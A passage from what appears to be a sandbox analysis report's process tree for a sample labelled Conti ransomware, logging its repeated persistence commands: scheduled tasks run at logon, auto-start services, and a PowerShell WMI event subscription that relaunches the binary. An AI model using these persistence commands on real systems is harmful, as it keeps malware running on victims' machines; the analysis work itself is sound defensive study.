      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:12648
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:13448
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:14436
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:13416
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:2572
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:8056
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:12012
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:6168
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:15760
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:15924
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:18012
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:15996
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:18152
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:4140
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:3328
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:4412
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:5868
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:2764
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:4120
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1608
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:11508
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:11616
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:4516
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:7164
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:8208
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:15232
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12528
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:14004
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:14268
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:14508
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:16476
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:8396
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:6532
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:15440
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:15572
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:18020
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:15832
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:12836
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:7352
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:7396
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:7968
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:7916
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:7340
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:6548
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7564
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:9728
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:9504
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:9556
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:10212
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:9168
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:9492
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:6232
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:10748
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:6576
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:11156
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:8516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:7116
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:13276
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:13424
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7324
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:13172
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:13296
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:14052
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:12152
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:15680
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:11072
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:18740
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:14824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:15092
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:15412
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:14752
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:13804
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:12488
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:7276
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:20308
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  - Drops startup file
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3516
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:3428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5984
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:5560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2392
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5308
